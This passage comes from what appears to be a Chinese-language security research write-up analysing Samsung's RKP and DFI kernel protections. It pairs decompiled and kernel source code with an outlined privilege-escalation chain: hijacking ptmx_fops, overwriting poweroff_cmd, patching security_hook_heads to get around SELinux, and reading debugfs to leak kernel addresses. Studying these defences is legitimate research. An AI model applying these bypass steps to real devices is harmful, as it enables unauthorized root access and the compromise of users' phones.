    use_cnt_ptr = kmem_cache_alloc(usecnt_jar,GFP_KERNEL);
    if(!use_cnt_ptr)
      panic("override_creds() : Unable to allocate usage pointer\n");

    tsec = kmem_cache_alloc(tsec_jar, GFP_KERNEL);
    if(!tsec)
      panic("override_creds() : Unable to allocate security pointer\n");

    rkp_cred_fill_params(new,new_ro,use_cnt_ptr,tsec,RKP_CMD_OVRD_CREDS,rkp_use_count);
    rkp_call(RKP_CMDID(0x46),(unsigned long long)&cred_param,0,0,0,0);

    rocred_uc_set(new_ro,2);
    rcu_assign_pointer(current->cred, new_ro);

    if(!rkp_ro_page((unsigned long)new)){
      if(atomic_read(&new->usage) == 1) {
        rkp_free_security((unsigned long)new->security);
        kmem_cache_free(cred_jar, (void *)(*cnew));
        *cnew = new_ro;
      }
    }
  }
  else {
    get_cred(new);
    alter_cred_subscribers(new, 1);
    rcu_assign_pointer(current->cred, new);
  }

  alter_cred_subscribers(old, -1);

  kdebug("override_creds() = %p{%d,%d}", old,
         atomic_read(&old->usage),
         read_cred_subscribers(old));
  return old;
}

Credential verifying in secure world:

在 Galaxy S6 时,攻击者可以简单的调用 rkp_override_creds()来绕过内核对象保护并提升权限,但在 S7 或以后版本不再有效了。

RKP 添加了另一种检测方式,来验证提交的新证书(credential)是否合法。


rkp_call(RKP_CMDID(0x46),(unsigned long long)&cred_param,0,0,0,0);

rkp 实现位于 hyp.mbn


1.2.5. Uid_checking()

在 adb 和 zygote 启动前,uid_checking 总是返回 ALLOW;

如果大于 1000 则不能将新创建的 credential 修改为小于 1000 的值

在这之后无特权的进程(uid>1000)不能覆盖高权限的证书(credential). 也就是说如果 uid 大于 1000 则不能将新创建的 credential 修改为小于 1000 的值。

这也是 S6 无法直接使用 override_creds 的原因。但是在 S7 上是可以修改内核的 capabilities,但是不能修改 uid.

__int64 __fastcall uid_checking(__int64 new_cred, __int64 old_cred)
{
  __int64 _new; // x20@1
  __int64 old; // x19@1
  int v4; // w0@1
  BOOL v5; // w2@1
  int v6; // w0@2
  int v7; // w0@3

  _new = new_cred;
  old = old_cred;
  v4 = check_cred_id_priv(*(_DWORD *)(new_cred + 4LL * uid_offset), *(_DWORD *)(old_cred + 4LL * uid_offset));
  v5 = 1;
  if ( !v4 )
    {
      v6 = check_cred_id_priv(*(_DWORD *)(_new + 4LL * gid_offset), *(_DWORD *)(old + 4LL * gid_offset));
      v5 = 1;
      if ( !v6 )
        {
          v7 = check_cred_id_priv(*(_DWORD *)(_new + 4LL * suid_offset), *(_DWORD *)(old + 4LL * suid_offset));
          v5 = 1;
          if ( !v7 )
            v5 = (unsigned __int64)check_cred_id_priv(
                                                      *(_DWORD *)(_new + 4LL * sgid_offset),
                                                      *(_DWORD *)(old + 4LL * sgid_offset)) != 0;
        }
    }
  return (unsigned int)v5;
}

__int64 __fastcall override_priv_uid(unsigned int new_uid, unsigned int old_uid)
{
  return (old_uid > 1000) & (unsigned __int8)(new_uid <= 1000);
}



1.2.6. sid_checking()

如果原来 sid > 20 && new_sid <= 19 操作会被禁止

__int64 __fastcall sid_checking(__int64 new_cred, __int64 new_cred_copy, __int64 old_cred, __int64 new_cred_copy_buf)
{
  // ...
  copy_security_buf = *(_QWORD *)(new_cred_copy_buf + 0x18);
  if ( copy_security_buf )
    {
      copy_security_pa = virt_to_phys(copy_security_buf);
      new_cred_pa = virt_to_phys(*(_QWORD *)(v4 + 8 * security_offset));
      old_sid = virt_to_phys(*(_QWORD *)(v6 + 8 * security_offset));
      if ( !security_pointer_valid(copy_security_pa) && new_cred_pa && old_sid )
        {
          LODWORD(old_sid) = *(_DWORD *)(old_sid + 4);
          new_sid = *(_DWORD *)(new_cred_pa + 4);
          if ( byte_8580A2A1[0]
               && (old_sid = (unsigned int)old_sid, v14 = new_sid, (unsigned int)old_sid > 0x14uLL)
               && new_sid <= 0x13uLL )
            {
              rkp_debug_log((unsigned __int16 *)"Selinux Priv Escalation !! [assign_creds]", new_sid, old_sid, 0LL);
              result = err_func(0x14u, v14, old_sid, 0LL);
            }
          // ...
        }
      // ...
    }
  // ...
  return result;
}




  1. Integrity_checking()

    检查当前的 credential 是否属于当前进程,当前的 security context 是否属于当前 credential

    int security_integrity_current(void)
    {
      if ( rkp_cred_enable &&
           (rkp_is_valid_cred_sp((u64)current_cred(),(u64)current_cred()->security)||
            cmp_sec_integrity(current_cred(),current->mm)||
            cmp_ns_integrity())) {
        rkp_print_debug();
        panic("RKP CRED PROTECTION VIOLATION\n");
      }
      return 0;
    }
    
    
    signed __int64 intergrity_check()
    {
      __int64 caller_thread_info; // x0@1
      __int64 caller_ti; // x23@1
      signed __int64 caller_thread_info_pa; // x0@1
      __int64 caller_ti_pa; // x22@1
      __int64 caller_cred; // x20@1
      signed __int64 caller_cred_pa; // x0@1
      __int64 _cred; // x19@1
      signed __int64 result; // x0@2
      __int64 security_pa; // x21@3
      __int64 bp_cred; // x1@6
    
      caller_thread_info = get_caller_thread_info();
      caller_ti = caller_thread_info;
      caller_thread_info_pa = get_physical_addr(caller_thread_info);
      caller_ti_pa = caller_thread_info_pa;
      caller_cred = *(_QWORD *)(caller_thread_info_pa + 8LL * cred_offset);
      caller_cred_pa = get_physical_addr(*(_QWORD *)(caller_thread_info_pa + 8LL * cred_offset));
      _cred = caller_cred_pa;
      if ( caller_cred_pa )
        {
          security_pa = get_physical_addr(*(_QWORD *)(caller_cred_pa + 8LL * security_offset));
          if ( security_pa || !byte_8580A2A1[0] )
            {
              bp_cred = *(_QWORD *)(security_pa + 8LL * *(_QWORD *)&bp_cred_offset);
              if ( bp_cred == caller_cred && *(_QWORD *)(_cred + 8LL * bp_task_offset) == caller_ti )
                {
                  result = 1LL;
                }
              // ...
            }
          // ...
        }
      // ...
    }
    
    
    
    
  2. Data Flow Integrity (DFI)

    该方法防止了 init_cred 重用的技巧,current->cred = init_cred;

    struct cred {
      // ...
    #ifdef CONFIG_RKP_KDP
      atomic_t *use_cnt;
      struct task_struct *bp_task;    // cred's owner
      void *bp_pgd;    // process's pgd
      unsigned long long type;
    #endif /*CONFIG_RKP_KDP*/
    };
    

    每次 committing/overriding 新的 credential, secure world RKP 会记录 bp_task

    同时也会在 task_security_struct 记录 credential

    struct task_security_struct {
      u32 osid;   /* SID prior to last execve */
      u32 sid;    /* current SID */
      u32 exec_sid;   /* exec SID */
      u32 create_sid;   /* fscreate SID */
      u32 keycreate_sid;  /* keycreate SID */
      u32 sockcreate_sid; /* fscreate SID */
    #ifdef CONFIG_RKP_KDP
      void *bp_cred;
    #endif
    };
    
    static inline unsigned int rkp_is_valid_cred_sp(u64 cred,u64 sp)
    {
      struct task_security_struct *tsec = (struct task_security_struct *)sp;
    
      if((cred == (u64)&init_cred) &&
         ( sp == (u64)&init_sec)){
        return 0;
      }
      if(!rkp_ro_page(cred)|| !rkp_ro_page(cred+sizeof(struct cred))||
         (!rkp_ro_page(sp)|| !rkp_ro_page(sp+sizeof(struct task_security_struct)))) {
        return 1;
      }
      if((u64)tsec->bp_cred != cred) {
        return 1;
      }
      return 0;
    }
    
  3. Summary of RKP and DFI

    在 RKP 开启后,即使我们可以实现任意内核内存的覆盖,但是我们也不能做到如下三点:

    1. 在内核模式下操作证书(credentials)和安全上下文(security context)
    2. 当前证书指向 init_cred
    3. 调用 rkp_override_creds()通知 secure world 帮助我们覆盖 uid 0~1000 进程的证书。

    但是我们仍然可以做到:

    1. 从用户模式下调用内核函数进行劫持 ptmx_fops->check_flags(intflag).
    2. 覆盖所有内核的证书(cred->cap_**)
    3. 覆盖其他未被保护的内核数据。

1.2.7. SELinux enhancement

1.2.8. Removed selinux_enforcing

selinux_enforcing = 0 即可关闭 selinux,但是 samsung 通过禁用编译选项"CONFIG_SECURITY_SELINUX_DEVELOP"将其删除

#ifdef CONFIG_SECURITY_SELINUX_DEVELOP
extern int selinux_enforcing;
#else
#define selinux_enforcing 1
#endif

  1. Disability of policy reloading

    系统初始化后, init 进程不再 reload SELinux policy, 这就意味着系统启动后,将当前进程的 domain 改为 init 重新加载 selinux policy 的方法将失效。

  2. Removed support of permissive domain

    如果可以重新 reload selinux policy,并将当前进程改为 permissive domain,即可绕过 selinux

    删除了 permissive domain, 如果进程的 domain 是 permissive, 直接返回-EACCES

    static noinline int avc_denied(u32 ssid, u32 tsid,
                                   u16 tclass, u32 requested,
                                   u8 driver, u8 xperm, unsigned flags,
                                   struct av_decision *avd)
    {
      if (flags & AVC_STRICT)
        return -EACCES;
    
      // ...
    #ifdef CONFIG_ALWAYS_ENFORCE
      if (!(avd->flags & AVD_FLAGS_PERMISSIVE))
    #else
        if (selinux_enforcing && !(avd->flags & AVD_FLAGS_PERMISSIVE))
    #endif
          // ] SEC_SELINUX_PORTING_COMMON
          return -EACCES;
      // ...
    }
    

1.3. Bypassing techniques

KASLR -> kernel rwcap -> overwrite ptmx_fops -> overwrite addr_limit -> DFI -> SELINUX -> root

1.3.1. KASLR bypassing

/proc fs, info leak, …


find /sys/kernel/debug | xargs cat

利用一个竞态漏洞root三星s8的方法

1.3.2. DFI bypassing

让内核创建一个线程,符合 RKP 和 DFI 的所有规则

ptmx_fops->check_flags(x0):

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";

static int run_cmd(const char *cmd)
{
  char **argv;
  static char *envp[] = {
    "HOME=/",
    "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    NULL
  };
  int ret;
  argv = argv_split(GFP_KERNEL, cmd, NULL);
  if (argv) {
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    argv_free(argv);
  } else {
    ret = -ENOMEM;
  }

  return ret;
}

static int __orderly_poweroff(bool force)
{
  int ret;

  ret = run_cmd(poweroff_cmd);

  // ...
  return ret;
}

static bool poweroff_force;

static void poweroff_work_func(struct work_struct *work)
{
  __orderly_poweroff(poweroff_force);
}

static DECLARE_WORK(poweroff_work, poweroff_work_func);

/**
 * orderly_poweroff - Trigger an orderly system poweroff
 * @force: force poweroff if command execution fails
 *
 * This may be called from any context to trigger a system shutdown.
 * If the orderly shutdown fails, it will force an immediate shutdown.
 */
void orderly_poweroff(bool force)
{
  if (force) /* do not override the pending "true" */
    poweroff_force = true;
  schedule_work(&poweroff_work);
}
  1. Call rpk_override_creds() via ptmx_fops->check_flags() to override own cred to gain full kernel capabilities
  2. Overwrite poweroff_cmd with "/data/data/***/expl"
  3. Call orderly_poweroff() via ptmx_fops->check_flags()
  4. Modify expl thread_info->address_limit
  5. expl call rpk_override_creds() to change its context from u:r:kernel:s0 to u:r:init:s0

    but….

    poweroff 调用流程:

    /*
      orderly_poweroff(force) ->
      poweroff_work_func(...) ->
      __orderly_poweroff(force) ->
      run_cmd(cmd) ->
      call_usermodehelper(...) ->
      call_usermodehelper_setup(...) ->
      call_usermodehelper_exec_work(...) ->
      call_usermodehelper_exec_async(...) ->
      do_execve(...) ->
      do_execveat_common(...) ->
      exec_binprm(bprm) ->
      search_binary_handler(...) ->
      load_elf_binary(fmt->load_binary(bprm)) ->
      flush_old_exec(bprm)->
    */
    
    int flush_old_exec(struct linux_binprm * bprm)
    {
      // ...
    #ifdef CONFIG_RKP_NS_PROT
      if(rkp_cred_enable &&
         is_rkp_priv_task() &&
         invalid_drive(bprm)) {
        panic("\n Illegal Execution file_name #%s#\n",bprm->filename);
      }
    #endif /*CONFIG_RKP_NS_PROT*/
      // ...
    }
    
    #define RKP_CRED_SYS_ID 1000
    static int is_rkp_priv_task(void)
    {
      struct cred *cred = (struct cred *)current_cred();
    
      if(cred->uid.val <= (uid_t)RKP_CRED_SYS_ID || cred->euid.val <= (uid_t)RKP_CRED_SYS_ID ||
         cred->gid.val <= (gid_t)RKP_CRED_SYS_ID || cred->egid.val <= (gid_t)RKP_CRED_SYS_ID ){
        return 1;
      }
      return 0;
    }
    
    static int invalid_drive(struct linux_binprm * bprm)
    {
      struct super_block *sb =  NULL;
      struct vfsmount *vfsmnt = NULL;
    
      vfsmnt = bprm->file->f_path.mnt;
      if(!vfsmnt ||
         !rkp_ro_page((unsigned long)vfsmnt)) {
        printk("\nInvalid Drive #%s# #%p#\n",bprm->filename,vfsmnt);
        return 1;
      }
      sb = vfsmnt->mnt_sb;
    
      if((!is_boot_recovery) &&
         sb != rootfs_sb
         && sb != sys_sb) {
        printk("\n Superblock Mismatch #%s# vfsmnt #%p#sb #%p:%p:%p#\n",
               bprm->filename,vfsmnt,sb,rootfs_sb,sys_sb);
        return 1;
      }
    
      return 0;
    }
    
    

    必须是 rootfs(/) 和 system(/system) 目录下文件才可以

  1. SELinux bypassing
  2. patch security_hook_heads

    security_hook_heads 可读写

    
    ROM:0000000000251E60 security_transfer_creds                 ; CODE XREF: key_change_session_keyring+134p
    ROM:0000000000251E60 var_s0          =  0
    ROM:0000000000251E60 var_s10         =  0x10
    ROM:0000000000251E60 var_s20         =  0x20
    ROM:0000000000251E60
    ROM:0000000000251E60                 STP             X29, X30, [SP,#-0x30+var_s0]!
    ROM:0000000000251E64                 MOV             X29, SP
    ROM:0000000000251E68                 STP             X21, X22, [SP,#var_s20]
    ROM:0000000000251E6C                 MOV             X21, X0
    ROM:0000000000251E70                 ADRP            X0, #0x17C9000
    ROM:0000000000251E74                 ADD             X0, X0, #0x428
    ROM:0000000000251E78                 MOV             X22, X1
    ROM:0000000000251E7C                 STP             X19, X20, [SP,#var_s10]
    ROM:0000000000251E80                 ADD             X19, X0, #0x4E0
    ROM:0000000000251E84                 LDR             X20, [X0,#0x4E0]
    ROM:0000000000251E88
    ROM:0000000000251E88 loc_251E88                              ; CODE XREF: security_transfer_creds+44j
    ROM:0000000000251E88                 CMP             X20, X19
    ROM:0000000000251E8C                 B.EQ            loc_251EA8
    ROM:0000000000251E90                 LDR             X2, [X20,#0x18]
    ROM:0000000000251E94                 MOV             X0, X21
    ROM:0000000000251E98                 MOV             X1, X22
    ROM:0000000000251E9C                 BL              jopp_springboard_blr_x2
    ROM:0000000000251EA0                 LDR             X20, [X20]
    ROM:0000000000251EA4                 B               loc_251E88
    ROM:0000000000251EA8 ; ---------------------------------------------------------------------------
    ROM:0000000000251EA8
    ROM:0000000000251EA8 loc_251EA8                              ; CODE XREF: security_transfer_creds+2Cj
    ROM:0000000000251EA8                 LDP             X19, X20, [SP,#var_s10]
    ROM:0000000000251EAC                 LDP             X21, X22, [SP,#var_s20]
    ROM:0000000000251EB0                 LDP             X29, X30, [SP+var_s0],#0x30
    ROM:0000000000251EB4                 RET
    ROM:0000000000251EB4 ; End of function security_transfer_creds
    
    
    if (*(&security_hook_heads[x]) == &security_hook_heads[x] ) {
      bypass
    }
    

    重定向 crrrent_cred()到可读写内存中,然后修改

    void key_change_session_keyring(struct callback_head *twork)
    {
      const struct cred *old = current_cred();
      struct cred *new = container_of(twork, struct cred, rcu);
    
      if (unlikely(current->flags & PF_EXITING)) {
        put_cred(new);
        return;
      }
    
      new->uid  = old->uid;
      new->euid = old->euid;
      new->suid = old->suid;
      new->fsuid  = old->fsuid;
      new->gid  = old->gid;
      new->egid = old->egid;
      new->sgid = old->sgid;
      new->fsgid  = old->fsgid;
      new->user = get_uid(old->user);
      new->user_ns  = get_user_ns(old->user_ns);
      new->group_info = get_group_info(old->group_info);
    
      new->securebits = old->securebits;
      new->cap_inheritable  = old->cap_inheritable;
      new->cap_permitted  = old->cap_permitted;
      new->cap_effective  = old->cap_effective;
      new->cap_ambient  = old->cap_ambient;
      new->cap_bset   = old->cap_bset;
    
      new->jit_keyring  = old->jit_keyring;
      new->thread_keyring = key_get(old->thread_keyring);
      new->process_keyring  = key_get(old->process_keyring);
    
      security_transfer_creds(new, old);    // will bypass check
    
      commit_creds(new);
    }
    
    
    
    

1.3.3. rkp_override_creds

rkp_is_protected 检测 cred 是否在 rkp 保护内存中,否则返回 0

const struct cred *rkp_override_creds(struct cred **cnew)
#else
  const struct cred *override_creds(const struct cred *new)
#endif  /* CONFIG_RKP_KDP */
{
  const struct cred *old = current->cred;
#ifdef CONFIG_RKP_KDP
  struct cred *new = *cnew;
  struct cred *new_ro;
  volatile unsigned int rkp_use_count = rkp_get_usecount(new);
  void *use_cnt_ptr = NULL;
  void *tsec = NULL;
#endif  /* CONFIG_RKP_KDP */
  // ...
}

unsigned  int rkp_get_usecount(struct cred *cred)
{
  if (rkp_ro_page((unsigned long )cred))
    return (unsigned int)rocred_uc_read(cred);
  else
    return atomic_read(&cred->usage);
}

/*Check whether the address belong to Cred Area*/
static inline u8 rkp_ro_page(unsigned long addr)
{
  if(!rkp_cred_enable)
    return (u8)0;
  if((addr == ((unsigned long)&init_cred)) ||
     (addr == ((unsigned long)&init_sec)))
    return (u8)1;
  else
    return rkp_is_pg_protected(addr);
}

#define rkp_is_pg_protected(va) rkp_is_protected(va,__pa(va),(u64 *)rkp_pgt_bitmap,1)

static inline u8 rkp_is_protected(u64 va, u64 pa, u64 *base_addr,u64 type)
{
  u64 phys_addr = pa & (RKP_PHYS_ADDR_MASK);
  u64 index = rkp_get_sys_index((phys_addr>>PAGE_SHIFT));
  u64 *p = base_addr;
  u64 tmp = (index>>6);
  u64 rindex;
  u8 val;
  /* We are going to ignore if input address NOT belong to DRAM area */
  if((phys_addr < PHYS_OFFSET) || (index ==(~0ULL)) ||
     (phys_addr  > RKP_PHYS_OFFSET_MAX)) {
    return 0;
  }

  p += (tmp);
  rindex = index % 64;
  val = (((*p) & (1ULL<<rindex))?1:0);
  return val;
}

Author: idhyt

Created: 2018-07-17 Tue 15:51

Validate

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...